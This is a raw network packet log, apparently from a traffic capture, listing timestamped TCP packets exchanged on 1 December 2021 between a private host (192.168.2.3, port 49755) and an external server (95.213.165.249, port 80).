Dec 1, 2021 10:04:28.798218012 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.798243046 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.798271894 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801423073 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801450968 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801476955 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801493883 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801497936 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801531076 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801536083 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801567078 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801573992 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801601887 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801635981 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801650047 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801666975 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801700115 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801709890 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801738024 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801759005 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801774979 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801779985 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801791906 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801812887 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801820040 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801830053 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801846027 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801852942 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801862955 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801878929 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801887035 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801896095 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801913023 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801923990 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801928043 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801944971 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801944971 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.801960945 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801975965 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.801990986 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.802000046 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.802007914 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.802023888 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.802031040 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.802040100 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.802053928 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.802056074 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.802083969 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.843945980 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.843974113 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.844083071 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.855578899 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855612993 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855628014 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855640888 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855654955 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855674028 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855690956 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855707884 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855724096 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855741024 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855763912 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.855779886 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855799913 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855804920 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.855820894 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855839014 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.855859995 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.855905056 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860167980 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860210896 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860245943 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860265970 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860280991 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860325098 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860352039 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860352993 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860390902 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860399961 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860423088 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860449076 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860465050 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860469103 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860481024 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860496998 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860505104 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860513926 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860528946 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860537052 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860547066 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860563040 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860574961 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860579014 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860594988 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860598087 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860610962 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860626936 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860641003 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860649109 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860666037 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860680103 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860687971 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860697031 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860713959 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860721111 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860729933 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860743999 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860747099 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860764027 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860775948 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860780954 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860797882 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860805988 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860815048 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860831976 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860860109 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.860866070 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.860888958 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.902292013 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.902318001 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.902468920 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.913737059 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913774967 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913798094 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913830996 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913856983 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913881063 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913897038 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.913897991 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913924932 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913942099 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913949966 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.913959026 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913970947 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.913975954 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.913994074 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.914004087 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.914010048 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.914017916 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.914026976 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.914043903 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.914067984 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.914100885 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919188976 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919234037 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919255018 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919286013 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919311047 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919322014 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919329882 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919362068 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919363022 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919387102 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919397116 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919419050 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919429064 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919454098 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919488907 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919497967 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919504881 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919523001 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919538975 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919543028 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919557095 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919573069 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919576883 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919589996 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919605970 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919612885 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919621944 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919637918 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919646978 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919653893 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919668913 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919681072 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919684887 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919701099 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919703007 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919718027 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919733047 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919734001 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919751883 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919766903 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919774055 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919784069 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919799089 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919806957 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919816017 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919835091 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919838905 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919852972 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919868946 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.919940948 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.919945955 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.960557938 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.960585117 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.960602045 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.960617065 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.960671902 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.960710049 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.972556114 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972583055 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972594976 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972606897 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972624063 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972637892 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972652912 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972668886 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972685099 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972702026 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972718000 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972733021 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972748041 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972764015 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.972764969 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.972816944 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.977971077 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978017092 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978045940 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978072882 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978077888 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978107929 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978111029 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978143930 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978178978 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978190899 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978209019 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978234053 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978251934 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978260994 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978288889 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978305101 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978317976 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978338003 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978357077 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978363991 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978373051 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978389978 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978398085 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978406906 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978424072 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978430986 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978440046 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978456020 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978471041 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978478909 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978487968 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978503942 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978511095 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978519917 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978528976 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978537083 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978554010 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978562117 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978569984 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978585958 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978595018 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978602886 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978619099 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978634119 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978641987 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978651047 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978666067 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978672981 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978682995 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978692055 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978702068 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978717089 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978724957 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:28.978734016 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:28.978754044 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.018765926 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.018794060 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.018858910 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.023821115 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.023885012 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.023885965 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.030760050 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030807972 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030837059 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030853987 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030853987 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.030870914 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030879974 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.030886889 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030904055 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030920029 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030935049 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030941963 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.030952930 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030962944 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.030978918 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.030996084 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.031006098 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.031011105 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.031028032 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.031028032 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.031044006 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.031052113 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.031096935 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.036773920 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.036822081 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.036883116 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.036904097 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.036905050 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.036942005 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.036950111 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.036969900 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037002087 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037025928 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037025928 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037055969 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037070990 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037079096 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037096024 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037111998 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037122011 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037127018 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037144899 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037158012 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037161112 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037177086 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037193060 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037200928 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037209034 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037226915 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037236929 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037241936 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037257910 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037259102 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037276030 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037290096 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037292004 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037307978 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037321091 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037322998 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037353992 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037363052 CET	49755	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:29.037370920 CET	80	49755	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:29.037386894 CET	80	49755	95.213.165.249	192.168.2.3
